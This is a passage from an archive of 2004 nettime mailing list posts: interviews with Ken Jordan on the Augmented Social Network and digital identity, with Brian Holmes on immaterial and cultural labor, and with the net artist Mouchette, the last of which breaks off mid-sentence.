challenges facing the planet. It may be a\njustifiable personal response, driven by disgust for technocratic\nconsumerism, but it's lousy politics. It doesn't ignite change of the\nkind necessary to address the problems of six billion increasingly\ninterconnected people. The fact is, the establishment of identity\nstandards is already in full swing. It's happening. But it may not be\ntoo late to influence the direction it takes.\n\nOnce you start to design more sophisticated types of online group\ninteraction (beyond what is common on the Net today), identity\ninevitably surfaces as an issue to be addressed. You can't facilitate a\nwide range of trusted interactions without the assurance that the person\nyou meet online is who she says she is. Somehow, her identity has to be\nverifiable. For that threshold of certainty to be reached, for that\nmechanism to be in place, most of the concerns people have about the\ncontrolling potential of a corrupt identity system will have had to be\ndealt with. And if you can deal with those concerns, you may as well\nstart to think proactively about what to layer into the system that\nsupports democracy -- because the untapped potential there is\ntremendous.\n\nGL: Some of the ideas of the ASN seem to be present in new flavors of\nsocial software. How does the ASN compare to websites like Friendster,\nLinkedIn, or Orkut? \n\nKJ: Frankly, as interesting as some of these sites are, they fall far\nshort of what the ASN would do. They are like small toy versions of the\nASN, with relatively limited utility. To begin with, they are not\ninteroperable. They're all \"walled gardens.\" The profile information and\nthe relationships that you accumulate on one site are not transferable\nto others. In addition, these \"walled gardens\" tend to have profiles\nthat are narrowly focused around a handful of interests. But if you\nhappen to be expert in several different areas, each of which is\naddressed by a separate social networking site, useful connections made\non one site will not spill over to another. The ASN would make the\nconnection between \"friends of friends\" Internet-wide\u0097it would connect\npeople across disparate social networks. Secondly, the profile info on\nthese sites is thin. It is not nuanced. The same profile info you hope\nwill attract a date can be read by your mother or your boss (as Danah\nBoyd points out in an analysis of Friendster). Your digital\nrepresentation should be context sensitive. Moreover, the profile\ninformation on those sites is static. It's not effected by your actions\non other websites, by decisions you make during the course of your day,\netc. Whereas, a dynamically updated profile would be more accurate and\nuseful. Third, one of the intents behind the ASN is to give you greater\ncontrol over your own profile information; it's a system for profile\nmanagement. It calls for a new class of services: identity brokers.\nThese services would manage and update your profile info on your behalf\nas you instruct them to. Along with the creation of identity brokers\nshould come a \"digital bill or rights\". You should be able to decide who\nhas access to your profile info and who doesn't. You should own that\ninfo. You should be able to manage your \"profile accounts\" with great\nflexibility -- trusting the brokers you choose to use. That's not the\nway it works on these social networking sites, which basically treat the\ninfo they have about you as a class of \"customer information.\" Lastly,\nthe social network sites are exclusive, restricted groups. You have to\nbe invited to join by a member. They are as much about keeping people\nout as making connections between those who are \"in.\" By being Net-wide,\nthe ASN helps to pull borders down, not put them up. The introduction of\nstrangers through trusted third parties becomes something far more\ninteresting when it's available to everyone\u0097like email or web pages\u0097than\nwhen it's an exclusive club for a few. \n\nGL: Suppose we need one, what would a civil society vision of a global\ndigital identity look like?\n\nKJ: What digital technology makes possible--inevitable--is that each of\nus will have at least one representation of ourselves that is\ncontinually present in digital space, acting on our behalf. Digital\nprofiles are not passive. They respond to inquiries; they are\ninteractive by design. We are not used to thinking of our identity as\nsomething that we can deliberately construct, but in the digital space,\nthat construction will become increasingly frequent. What kind of\nattributes would you like to have exposed to others, and in what\ncontexts should they be exposed? Every person should be able to make\nthat choice for his or herself\u0097rather than having it made for us by\ncompanies or governments without our approval. Moreover, I have certain\ninterests\u0097in new environmental technologies, for instance, or in\nexperimental theater\u0097which are not addressed by profit-minded\nindustries. Frankly, most of my interests are in quirky, fringe subjects\nthat are essentially ignored by the market. I want to make sure that the\nsystems for digital identity allow me to express those interests --\nincluding my political interests--and to network with others who share\nthem. If we leave it up to the market, those subjects (and the billions\nof others like them) will simply be ignored. \n\nGL: ASN seems like the product of a typical Californian blend of\ntechnologists, activists and business people. Is it more than a\nnostalgic return of the sixties?\n\nKJ: I'm not one for nostalgia. But some aspects of the sixties wouldn't\nbe so bad to bring back\u0097like civic engagement, the notions that things\ncan be better than they are and that every citizen is responsible for\nmaking it so. My sense, however, is that what's going on today draws as\nmuch from the critical theory of the eighties and nineties as it does\nfrom the sixties (tho maybe, since I'm \"chairman of the board\" of the\ntheory publisher Semiotext(e), I'm biased...). Now that we've digested\nFoucault's critique of power, Baudrillard's dismantling of the \"real,\"\nand Deleuze & Guattari's invocation of the rhizome, the question\nremains: what political options do we have before us that can forestall\nglobal environmental collapse while engaging citizens more effectively\nin the democratic process? \n\nInformation technology offers useful tools that weren't available to\nprevious generations -- tools that could conceivably change the way\npower operates within groups. To state the obvious: information equals\npower. Perhaps if information is distributed more effectively, power too\ncould be better distributed throughout society. The notion that it is\ninevitable that power will aggregate in a few hands, corrupting those\nwho have power, and contributing to a never-ending cycle of cynicism and\noppression... maybe it's time to re-examine that assumption, using the\ncritical apparatus shaped by Foucault, Deleuze, and others? It may be\npossible to apply some of what we've learned from critical theory to the\ndesign of new communication tools, which in turn could support new\nsocial and political forms. Is it possible to introduce systems of\nbehavior that could keep us from blowing up the planet, while supporting\nour ability to act as individuals in a free society? It's not clear to\nme that the answer is a resounding yes. But the question certainly seems\nworth pursuing. This Spring, Elizabeth Thompson and I will launch a\nPlanetwork Journal -- on the Web, free -- for examining this\nintersection between IT and governance, alternative economics,\nenvironmental technology, etc. Maybe I'm just naive. But, as I just said\nto my girlfriend, I like to cultivate my naivete. \n\nGL: What struck me is the obsession with \u0091trust\u0092 amongst peers. Why is\nthat so important?\n\nKJ: Trust is the basis of any community. This should go without saying.\nBut for us lefties, it's useful to emphasise the role played by trust,\nbecause this focus leads to an appreciation of civic cooperation and the\npublic sphere -- which is quite removed from the dominant, neo-liberal\nmythology of the lone wolf individual, unfettered by government to\npursue profits in the name of progress. Much of this\nfree-market-uber-alles agenda seeks to undermine what's left of the\ncommons, privatizing community assets while asserting that the commons\nhas become obsolete. It's a drive against openness in government and\nself-sustaining communities. What had once been transparent in a\ncommunity is put into private hands, and made oblique. By refocusing\nattention onto trust in society, we bring a deeper appreciation to what\nwe share together, and the aspects of our community that require a\ncollective commitment by all citizens. \n\nIn face-to-face relations, we have a myriad of ways to measure and\nengender trust. Online, however, our tools for establishing and\nmaintaining trust are weak. The intent of the ASN is to use digital\ntools to extend the trust we place in those we know in the flesh to\nothers we do not, in order to organize with them effectively toward\nmutual goals. If you could feel the kind of trust you have for\nfriends-of-friends offline for the contacts you make online, that has\ngreat potential for creating valuable networks. \n\nGL: It could also be a challenge to go out and meet your adversary. I am\nreferring here to the work of the political philosopher Chantal Mouffe,\nwhose critique of Third Way democratic (media) culture point at this\npossible reason of the current \u0091democratic deficit\u0092 that people\nexperience.\n\nKJ: Perhaps, but ASN's focus is on standards, software, and protocols\nthat bring people who share interests and compatible capabilities into\ncontact. Whether some use it to seek out people they want a tussle\nwith... that's up to them. But doing so would require deliberate effort.\nGL: What would an Internet look like that is no longer based on trust\nand consensus but seeks confrontation?\n\nKJ: It would look kinda like what we've already got, no?\n\nGL: No, I have to disagree with you here. The Net as we have it now is\none that is based on trust and consensus. People are slowly but gently\nforced to only have exchanges with those they already know. What the 70s\nand 80s legacy of experts talking to themselves has done is create a\nhuge wasteland, and as a response closed virtual communities have been\ncreated where this ideology of consensus still florishes. But no one\nreally wants to deal any longer with the desert out there. Take\nnewsgroups. I don\u0092t think that a reintroduction of concepts like trust\nis going to turn these abadoned public spaces, these deserts, into\noases.\n\nKJ: But aren't you saying that the lack of trust on the Net has driven\npeople to stick close to those they are familiar with, inside walled\ngardens, and to not wander far beyond their existing social networks?\nThe point of the ASN is not to revive newsgroups, but rather to enable\ntargeted connections between strangers who share interests in the\ncontext of a particular project. It is to provide a strategic doorway\nbetween walled gardens, to be used only under certain circumstances. The\nASN introduction would take place as part of work toward a specific\nobjective. That's what the architecture is meant to support -- whether\nit gets used for other things as well, we'd have to see... \n\nGL: But the Internet as it is now would not be possible without the\nengineering cultus of consensus. \n\nKJ: Well, there's consensus on one level (the underlying technical\ninfrastructure) and lack of consensus on another (the organization of\ncontent and the presentation of identity). The challenge is to introduce\nstandards and protocols for the way information and identity is\norganized online that is an appropriate, logical extension of the way\nthe technical infrastructure has developed. That is, it should be\ndistributed, transparent, secure, enable interoperability, and adhere to\nopen standards. The ASN is an architecture for one part of such a\nsystem. And it's meant to suggest the need for other similarly conceived\ninitiatives. \n\nGL: How does the ASN relate to Internet governance and the process\naround the World Summit of Information Society?\n\nKJ: The ASN has got to be build using open standards. That's a given.\nYou would want those standards and protocols to be approved by\ngovernance bodies such as the IETF and OASIS -- where it's appropriate.\nSome of the standards necessary for the ASN have already been approved.\nBut there are a ton of wonderful standards that have reached the\napproval stage that have never been adopted, or are not widely adopted.\nAnd adoption for the ASN is key. We think we could get it working in\nphases, start it with limited functionality among a group of online\ncommunities, and scale it up from there. How does this relate to the\nWSIS? There needs to be a civil society position on our digital\ninfrastructure. The WSIS was supposed to be part of a process to bring\nthat about. From what I've read (I wasn't there), the results were\ndecidedly mixed. No question that access to the Net, the digital divide\nissue, is substantive and real. But to get bogged down in that carries\ngreat risks. We need to develop a progressive technology agenda that can\nmatch those of business and the Department of Homeland Security -- one\nthat looks at the same fundamental tools, and suggests how to configure\nthem to enhance citizenship. It's geeky stuff, but hugely necessary.\nWhere is the funding to support this kind of work? \n\nGL: The conversations amongst peers that the ASN supports may be useful\nfor pragmatists that want to solve problems. But one of the dilemmas we\nactually face because of our media technology is social enclosures that\nthe Net and its current architecture foster.\n\nKJ: There is, of course, a concern that targeted media, such as blogs or\nnarrowband broadcast networks, will further divide people from those who\ndon't share their assumptions and opinions. Some critics write about an\necho chamber effect, where you only get media you agree with. Is that\nwhat's happening today? I'm not so sure. A greater threat, to my mind,\nis the control of major media outlets by a shrinking number of global\ncorporations. The problem isn't that, say, \"conservatives\" turn to one\nset of media outlets while \"liberals\" turn to another. The far greater\nproblem is that the economics of the media business forces the creation\nof a handful of focus group-based target markets, and eliminates all\ncontent that doesn't fit within one of these pre-defined buckets.\nIndependent, controversial, and idiosyncratic voices have an\nincreasingly difficult time reaching a sizeable audience. This is a form\nof censorship, one that reinforces banal, conventional thinking. \n\nThe ASN is designed to help independent voices find audiences--in a\ndecentralized, grassroots up manner. The Internet has already shown it\ncan be used this way, of course. MoveOn.org and the Howard Dean campaign\nare everyone's favorite examples of this bottom up dynamic at work. But\ngiven the number of people online, success stories like these should be\nfar more frequent. One reason they aren't is due to the fact that the\nNet, while it has a distributed infrastructure that allows for bottom up\nnetworking, is not designed to help you find relevant things quickly. As\nfolks like Engelbart and Ted Nelson ad infinitum continue to insist, the\nWeb isn't organized very well. What the ASN seeks to provide is a\nmeta-layer of functionality that makes the Net far more effective at\nlinking you to relevant people and media, based on your affinities and\nrelationships. It's a networking enhancement that takes advantage of the\ndistributed nature of the Internet, strengthening it by adding a\nstrategic layer of trust. \n\nLinks:\n\nPlanetwork\nhttp://www.planetwork.net\n\nAugmented Social Network (ASN)\nhttp://asn.planetwork.net/\n\nPlanetwork 2004 conference (San Francisco, June 5-6)\nhttp://www.planetwork.net/2004conf/\n\nMultimedia: From Wagner to Virtual Reality (anthology)\nhttp://www.artmuseum.net/w2vr/\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 08 Mar 2004 15:57:53 +0000",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200403081554.i28FsYT28602 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00035.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> Interview with Ken Jordan"
            },
            {
                "id": "00082",
                "content": "\n\nFwd with permission from: Marion von Osten <marionvonosten {AT} gmx.ch>\n \n\"The Spaces of a Cultural Question\" \n\nE-mail interview with Brian Holmes by Marion von Osten in preparation of\n\"Atelier EUROPA. A small post-fordistic drama.\" opening at 2nd of April\n2004 in the Munich Kunstverein.\n\nMarion: You are editing the next issue of Multitudes on cultural and\ncreative labor. Can you explain why and out of what perspective you look\non cultural labor and creative work, i.e. do you think it is possible to\nexplain the inner dynamics of post-Fordist production modes due to this\nspecific form of work and its conditions?\n\nBrian: Actually we have prepared what is called the \"minor\" of Multitudes\n15 on the theme of \"creativity at work.\" The basic notion of immaterial\nlabor is that the manipulation of information, but also the interplay of\naffects, have become central in the contemporary working process even in\nthe factories, but much more so in the many forms of language-, image- and\nambiance-production. Workers can no longer be treated like Taylorist\ngorillas, exploited for their purely physical force; the \"spirit of the\nworker\" has to come down onto the factory floor, and from there it can\ngain further autonomy by escaping into the flexible work situations\ndeveloping on the urban territory. These notions have made it through to\nmainstream sociology, and several authors have taken artistic production\nas the model for the new managerial techniques and ideologies of\ncontemporary capitalism, with all its inequality, self-exploitation and\nexclusion. The most recent example is Pierre Menger's \"Portrait de\nl'artiste en travailleur\" [Portrait of the Artist as a Worker]. We don't\nsee it exactly that way. Of course the individualization of innovative\nwork practices exposes people to flexible management; and linguistic and\naffective labor is vital to the capitalist economy in terms of shaping the\nmind-set in which a commodity can become desirable. But we also focus on\nthe real autonomy that people have gained. This is why we have devoted the\n\"major\" of the issue to activist art practices, and the theme of \"research\nfor the outside.\" We're also very interested in the ongoing struggle of\nthe part-time cinema and theater workers in France, concerning the special\nunemployment status which they have won since 1969, which provides a\nsupplemental income making it possible to live an artist's life in an\nefficiency-oriented capitalist society. The right-wing, neoliberal\ngovernment of Raffarin wants to dismantle this unemployment regime,\nbecause they know that those who benefit are actively producing another\nideal of society.\n\nMarion: Do you think that the production conditions of cultural labor and\ncreative work are different nowadays than in the past, and when they\ndiffer, how would you describe the changes?\n\nBrian: Well, not only is there far more invention and spontaneity involved\nin relatively ordinary work today than as little as thirty years ago, but\nalso, creative work has moved away from the genius model of the individual\nartist and towards collaborative process, often mediated by sophisticated\ncommunications machines. Many people trace the roots of these developments\nback to the Hollywood film project, which is always unique and requires a\nspecially assembled production crew. But Hollywood neither invented\ncooperative production, nor has any patent on it! A journal like\nMultitudes can be made almost entirely through unpaid cooperation. It's a\nkind of gift economy. The creative aspect is what makes these kind of\nvolunteer initiatives desirable to people, who often do not feel they can\nreally trust or enjoy personal relations that obey the bottom line of\nmaking a wage or a profit. Businesses may try to imitate this way of\nfunctioning which would be great for them, because it's so cheap but they\nusually don't succeed. The great Internet krach is a kind of homage to the\nfact that you can't make a profit out of interpersonal exchanges. That's\nwhy you now see the communications technologies being reorganized around\nthe notion of intellectual property, where there is still the hope of\nextorting some money.\n\nOf course, you could explain all this cooperative creation as a search for\nprestige and publicity, which brings monetary rewards later on. That kind\nof demystifying critique is necessary, but insufficient. It's vital to\nunderstand the preconditions which make the \"gift-economies\" possible,\nsuch as education, access to information, access to tools and distribution\nand even to lodging and work space which does not require full-time\nemployment to pay for it. Artists in the Western societies tend to look at\nthese things individualistically: if they have the preconditions what\nVirginia Woolf summed up as \"a room of one's own\" they just do their art.\nBut the individual solutions leave us all very vulnerable to the more\npowerfully organized groups in society, don't you think? It might be\nuseful to imagine how these basic conditions for creative work could be\nprovided for more and more people, and defended when they come under\nattack, as they are now (think of the massive attacks on free education,\nor on the political freedoms of the Internet). I think you'd find that in\nour time, the huge problem of how to make democracy actually deliver on\nits promise of emancipation comes down to this question: How to achieve\ngreater access to knowledge and culture, to their transformation and\ntransmission? Because regaining democratic control from the media\noligarchies requires achieving exactly that.\n\nMarion: In Germany and Britain, with different political papers like the\nSchr\u00f6der/Blair Paper, but as well in managerial literature, artists'\nworking life and diverse methods of creating meaning have been quoted for\nthe model of an entrepreneurial self, a subject which synchronizes life\nand work time under the banner of economic success. I think that this\nquotation of the artist as a role model was very harmful for collective\nand critical cultural practices in the 90s. The French situation seems to\nme a bit different. I see that the cultural producer and the notion of\nimmaterial labor is much more set in an understanding of subversion or\neven resistance.\n\nBrian: France is a country which traditionally values all kinds of\nsophisticated cultural production, and it has a relatively strong\ninstitutional left which has been partially articulated around the idea of\ncultural democratization since the Popular Front of '36. So you have a lot\nof institutionalized space for creative practices; and although the\nsocialist culture minister Jack Lang tried to make these cultural\nactivities \"profitable\" in the 1980s, that has always been a kind of\nfiction, because the cultural sphere has mainly expanded with the backing\nof the state. From the cynical viewpoint, you can say that when the\nsocialists came to power they bought off an important constituency, the\nartists, and surrounded them with an incredible amount of bureaucratic\ncontrol so they wouldn't make any more trouble. This means you have much\nless of an \"underground\" in France, and consequently, less of that\ntypically Anglo-American dynamic where the pop-culture and advertising\nindustries constantly prey on the underground, to siphon off talent and\nmarket subcultural desire. So despite the situationist echoes that still\nlinger, and despite all the Italian exiles who have produced such\ninteresting theory in France, until recently the resistance was mainly\nfrom the professions, the theater and cinema people in particular always\nwith the unions as a model of collective action, deeply entrenched in\nrepresentational politics. Only recently has this resistance become\nactively subversive in the strong sense of really questioning contemporary\nsocial roles and positions. With any luck, the right's attempt to force a\ncomplacent cultural class out of their state sinecures will produce even\nmore of the new and virulent activist critique that we're seeing from the\npart-time cinema and theater workers.\n\nMarion: Do you think that when artists or cultural producers are addressed\nas a new role model in society, it is a sign that they should start to\norganize themselves politically and/or collaborate with other political\nmovements which resist and fight against neo-liberalism?\n\nBrian: Clearly I do! Now we can see that the privileged position which\ncultural production held in the European social democracies of the\neighties and nineties is always expendable, from the managerial viewpoint.\nYou can be cut like any other client of the obsolete welfare state. If\nartists want to go on developing experimentation outside the narrow frames\nof elite patronage and state-backed cultural tourism, they have to develop\ncritical discourses that provide other foundations of judgment for the\ndistribution of resources, beyond \"taste\" and box-office measurements. But\nthose discourses won't spontaneously emerge from within the cultural\nestablishment. Other people have to be brought into the game, who have\n\"normally\" been excluded. I'm talking both about directly oppressed\ngroups, and about people who are somehow interested in social equality,\nboth of whom would formerly have had no time for the art world with its\nelite games of prestige and posing. But why is there any space for such\npeople at all? Because elements of the existing art discourses consider\naesthetic experimentation as a starting point for the transformation of\nwhat in French is called le partage du sensible: the division and sharing\nof the sensible world. This is why describing how artistic practices work\nwithin protest contexts can be useful for opening up the cultural spaces.\nI've argued that it suggests the need for at least a partial change of\nmuseums into something more like resource centers for transversal\ncommunicational practices, where artists and social movements come\ntogether, where identities and disciplines blur. We can now envision some\nattempts to network these kinds of attempts across the national borders.\nGerald Raunig and his collaborators are trying explicitly to do that, with\ntheir multilingual Republicart website. The urgency is to begin developing\nframe discourses, shared positions that can exert a more coherent pressure\non decision-making within the cultural infrastructures. I'm not talking\nabout a point-by-point program. I'm talking about building up a\nrecognizable, coherent and compelling discussion about the desirability\nand viability of a democratic, socially transversal, politically oriented\ncultural/artistic sphere an open, dissolving \"sphere\" in which the\nmaterial and legal preconditions of multiplicity become a matter of\ncollective concern. This kind of discussion (what you might also call a\n\"problematic\") becomes a resource for specific arguments, gestures,\njudgments, actions. Maybe this is how you change the world from a basis in\ncultural production.\n\nMarion: I find it interesting that immaterial labor or its notion has come\nout of the understanding that the industrial complex has been transformed.\nThe car industry is still a role model for \"new labor\" discourses, as one\ncan see in the Italian operaist movement around the Fiat strikes, as well\nas the Hartz commission in Germany, on new forms of labor organization,\nmonetarization and the idea of Ich-AG, or self-organized one-person firm,\nbased on ideas developed before the background of transforming the VW\nFactory. Even the word post-Fordism relates to the concept of Henry Ford\nand his model of car production and consumption. Gramsci said that\nFordism, or the car industry as a meta role model for modern economy,\nwould be an ideological turn, to make us believe that there is only one\nunderstanding of production and capital accumulation. This was a critique\nput forth by feminism as well, which claimed other forms of labor to be\nrelevant in the industrial age, as well as nowadays. Would you say that\nthe term immaterial labor is epistemologically rooted in the industrial\nconcept of labor, of controlling bodies, optimizing time and production\nflows, organizing efficiency, and pushing everything towards\ncommodification? And how, if so, can we free this term from that classical\nconcept and develop a term that reflects non-work, care-work, the\nproduction of the social, etc., not only out of a perspective of\ncapitalist accumulation?\n\nBrian: This is a key question for the Multitudes group. The answer might\nconsider the term \"immaterial labor\"  and the arguments behind it as a\nkind of transitional moment. Those arguments were first elaborated from an\nobservation of the \"refusal of work\" in the wake of the big strikes at\nFiat and so forth; but also from the realization that the bosses had\ndeliberately changed the very conditions of labor, to make traditional\nstrike techniques ineffective. Work was increasingly automated, factories\ncould become smaller with electronic co-ordination between distant\nproduction sites, the remaining workers were implicated ever more deeply\nby giving them higher levels of training and responsibility. But many\npeople had left the factories quite voluntarily, in advance of the bosses'\nstrategies, setting themselves up within the smaller, self-organized\nproduction chains of the new \"industrial districts\" of Northern Italy. The\ngreat strikes and the innovative pioneers of the new labor patterns could\nbe seen as the driving forces of a change overtaking the entire industrial\nsystem. This transformation prompted a fresh reading of the Grundrisse of\nMarx, and particularly of the so-called \"fragment on machines,\" which\npoints toward the potential for labor itself to become obsolete through\ntechnological progress, freeing up time for the cultural and intellectual\ndevelopment of workers, and in the same blow, dissolving the possibility\nof exploitation on which capital accumulation is founded. That kind of\nreading, first developed in Toni Negri's \"Marx Beyond Marx,\" became a way\nto chart a future for the class beyond the wage-bargaining which had\nbecome the major function of unions, and indeed, beyond the condition of\nsalaried labor itself. But from that point forth, two still-unresolved\nchallenges opened up for the relation between theory and practice.\n\nOne is finding new epistemological grounds for describing cooperative\nproduction. Today you can look for clues in Maurizio Lazzarato's book\n\"Puissances de l'invention\" [Powers of Invention], which develops an\nunderstanding of production on the basis of what the\nlate-nineteenth-century sociologist Gabriel Tarde called invention and\nimitation or what Deleuze called difference and repetition. The idea is to\nshow that production has always been based, not on the directive capacity\nof capital, but on the human faculty of innovation something like what\nMarx called the \"general intellect\"  which is at the origin both of the\nforms of products, and of the very machines which produce them. But\nLazzarato is also willing to consider the invention and imitation of all\nkinds of affective and imaginary production forms of care-giving, social\nforms, artistic forms and he understands \"machines\" in the\nDeleuzo-Guattarian way, as social assemblages. Feminist and culturalist\nperspectives, which re-examine our very motives for production, could add\na lot to what is still an overly economic and semiotic discourse. We need\nnew and persuasive explanations for what is worth doing together in\nsociety, and why certain activities should be granted the resources for\nfurther development, without always invoking the current excuse: \"Because\nthey make money.\" But then another major problem must be confronted, which\nis not only theoretical. It is the fact that the technical conditions\nwhich provided a justification for the existence and exploitation of\nsalaried labor in the Fordist period have changed entirely without any\nsubstantial change in the basic social relations. Paolo Virno says that\nthree functions which have traditionally been separated in the\nself-understanding of the Western societies, from Aristotle to Hannah\nArendt, are now impossible to distinguish. These three functions are\nlabor, conceived as the suffering expenditure of body energy; intellectual\nactivity, which is silent and solitary; and political action, which takes\nplace through speech in public. With our intellectual and communicational\nforms of labor in the capitalist economy, Virno says we live in a\ncondition of infinite publicity without a public sphere. And the\nimpossibility to make public meaning out of our virtuoso performances that\nis, the impossibility to make concrete changes in society is a humiliation\nof that which is at once the highest and most common of our capacities,\nnamely the capacity of speech itself. This humiliation is a political\naffect, which calls for a response. I think that cultural producers,\ntoday, are humiliated by the conditions under which we labor, by what you\nmight call the institutional market. Can we respond to that? Can we use a\nmore-or-less natural resistance to the contemporary forms of exploitation\nas a starting-point in the attempt to make a world out of our new\nunderstandings of what might be worth doing together in society? The\nquestion would probably have seemed exaggerated just a few years ago.\nAlmost no one would have asked it. I find that life gets a little more\ninteresting as the spaces of this question gradually open up today.\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "Nettime-l <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00082.html",
                "list": "nettime_l",
                "author_name": "geert",
                "subject": "<nettime> Marion von Osten: email interview with Brian Holmes",
                "from": "geert <geert {AT} xs4all.nl>",
                "follow-up": [],
                "message-id": "200403221654.i2MGsdF07336 {AT} bbs.thing.net",
                "date": "Mon, 22 Mar 2004 15:11:49 +0000",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Peter Luining <email {AT} ctrlaltdel.org>",
                "id": "00101",
                "content": "\n\nInterview with Mouchette\n\n\nOf course everybody knows Mouchette or better everybody thinks (s)he knows\nMouchette. Here's an interview with Mouchette that I made for the P2P show\nthat momentarily is held at the Postartum galery in L.A. It tries to\nuncover what's behind Mouchette and focusses amongst others on issues as\n\"the life of a virtual character\", copyrights and art institutions.\n\n\nPeter Luining: - Mouchette has been for quite a while on the net. How did\nyou find out about the internet and are there any specific reason why you\nstarted with \"Mouchette\"?\n\nMouchette: Internet arrived very early in Holland and it was like a\ndemocratic revolution. For the first time in the history of information, a\nmedium was created where every receiver could become a sender. There was a\nsort of euphoria, an utopia of the information age was suddenly made true.\nEverything you saw on the web was something you could make yourself and\nput out there for everyone to see. I didn't have much technical background\nbut web technology was very simple at that time, so if I could do a web\npage, a child could do it too. I was very amused by the phenomenon of the\npersonal homepage, which I immediately experienced as a popular \"genre\" in\nthat medium. I am the kind of person who thinks that art is never where\nyou expect it, and that art is only in the eye of the beholder: a true\ndescendant of Marcel Duchamp.\n\n\nPL: - By now everybody knows that there are links to Mouchette and the\nmovie by Robert Bresson, you were even in a legal fight with the heirs of\nthe director, could you tell something more about links inspiration?\n\nMouchette: I knew I wanted to make a young girl's character. There were\nothers I liked. It could have been Alice (by Lewis Carroll) or Zazie (from\n\"Zazie dans le Metro\" by Raymond Queneau) but they were too well known\n(Zazie in France) and their lineage was already claimed so much. I liked\nthe dark aspects of the character of Mouchette, she was not cute, pink and\npretty, although I must say I didn't know the film very well at that time,\nI'd only seen it once. I was very impressed by the art of Robert Bresson.\nHis film making was so pure and minimal, with essential facts like a greek\ntragedy. His actors didn't \"play\" or \"pretend\", they embodied the\ncharacter by their physical presence only and plainly spoke out the text,\nhe always chose non-professional (amateur) actors. The work I created in\nreference to the film (the Film Quiz) is a homage. Too bad Bresson's widow\ndidn't see it like that! She didn't like the spirit of it, a certain cold\nhumour. The dispute ultimately worked out in my favour: I had to remove\nthe work from my site, but through the solidarity of the net.art community\nit got hosted by more than 50 different sites.\n\n\nPL: - You give shape to a character on the internet, a lot of art on the\nnet is about playing with identity, especially in the early days. We\nnowadays see a tendency in art that is called identity art in the true\nsense, meaning searching for were do I stand, who am I, going back to your\nroots, through self. Do you think Mouchette still fits in this last\ncategory or do you think she is a product of a certain period?\n\nMouchette: For me identity is something that exists between the \"I\" and\nthe \"you\", it's not just a personal investigation. Mouchette is\nconstructed by her public. When they love her, when they insult her, they\nmake her who she is. And I design everything like this: words as\nquestions, identity as an empty space where people project their desire.\nThat is why it is still growing since the beginning, and that is why I\nnever get bored with it because I'm not just looking at my own\n(artificial) navel; and evolve with the public, with the development of\nthe internet itself. I'm just another drop of water on the internet ocean,\nchanging with it.\n\n\nPL - Mouchette's website seems to be visited by a lot of people that\naren't aware of its art background. Do you think this, crossing over\ndifferent audiences, is a typical thing of net art?\n\nMouchette: No. I think most net.artists want to throw their CV and\nartist's statement at your face before you see their work. Their work can\nusually be understood by a child of 10 (which is a good thing) but they\nwant to force it into the art context that way. I think net.art is a form\nof public art, art for the public space, it should be accessible for any\nkind of public, at any level. Let the curators and the art institutions\nsee Mouchette as art if they can, but if they can't, it's only their\nproblem. I'm not going to exhibit my artistic pedigree and references to\nmake my work fit into their frame of mind. They are the ones who should\nchange their frame of mind and understand what the internet public already\nsees very clearly. So if there is some crossing over to be done, it's on\nthe side of the art institutions, who should find a new place between the\nnet.artists and the public.\n\n\nPL: Interesting. The point that you make about the \"institutional\"\nartworld sounds very similar to ideas of a lot of early \"net artists\" that\nsaw/see themselves not as artists (Michael Samyn, Heath Bunting, Graham\nHarwood) but tried/try to get this different \"frame of mind\" through too.\nWhat's your stance/view on this?\n\nMouchette: It's nice to know that on internet you can propose your work\noutside of ANY art context and that surfers who stumble on it by chance\nwill have some fun, some pleasure, some first-hand emotion without having\nto relate to any known work of art or to any critical theory. Yet, if your\nwork can still function on that level and offer analytical content to\nthose who have an artistic or intellectual background, if your work can be\napproached on several levels at the same time, then you know you have the\nright frame of mind. Yes, that's the best of both worlds, an ideal\nposition. I know it doesn't always work like this, so if I choose to\nignore one type of public, it's the artistic public. When they're smart\nenough they get the intellectual content by themselves, without having it\nexplained. And I know this analytical approach is going to come out in my\nwork one way or another because it's present inside of me.\n\n\nPL: Something related to this is that I know Mouchette won some art prizes\non festivals you had to apply for. If you do enter this competitions do\nyou just send your url or are you going for the full form. What I mean\nwith this is: does Mouchette adapts on this level to get her \"frame of\nmind\" through?\n\nMouchette: In the very beginning I didn't connect to the art world at all,\nbut the art world connected to me at some point. Takuji Kogo (Candy\nFactory, Tokyo) was the first one to pick it up as art in 1997, he made\ncollaborative exhibitions in his gallery, he introduced my work to\nRhizome. Net art people had no difficulty in seeing it as the creation of\na grown up and developed artist although nobody told them. They spread it,\ncommented it, linked it. So it was easy for me to enter my work in net.art\ncompetitions. Besides, most of them didn't request any artistic\nreferences, you only had to send your URL. When I have to give more\ndetails, I never break the rule of the anonymity of the author and never\ndisclose my gender. I'm still within my rules in this interview. I like it\nwhen my work participates in the artworld and I would make the effort to\nbring it to them if I can stay within my rules. I want to add here that\nthis \"mystery of the author\" serves no personal purpose, only an artistic\npurpose. But it makes it all the more difficult to connect to the world of\nart as much as I would want to.\n\n\nPL: And linked to the question above: do you see yourself as an artist or\nnet artist?\n\nMouchette: From the beginning I always saw myself as an artist, not a\nnet.artist or a something-artist, just an artist. For me net.art is not\nseparated from the rest of the arts. It should be brought to the public by\nmuseums and other art institutions.\n\n\nPL: Ehhh. Above you say that net art should be seen as a form of public\nart, art for public space, to bring it in the white cube is something\ndifferent. Explain.\n\nMouchette: Art in the public space should be enjoyed by the passing people\nwithout any reference to the art context, that's what I meant. It can be\nintegrated in the street context to such a point that it's not even seen\nas art, but still experienced as something meaningful, or useful, or\ndisturbing etc... When envisioned through the art context, the standpoint\nis different and what makes it an artwork is a particular mixture of the\nwork itself and the public participation to the 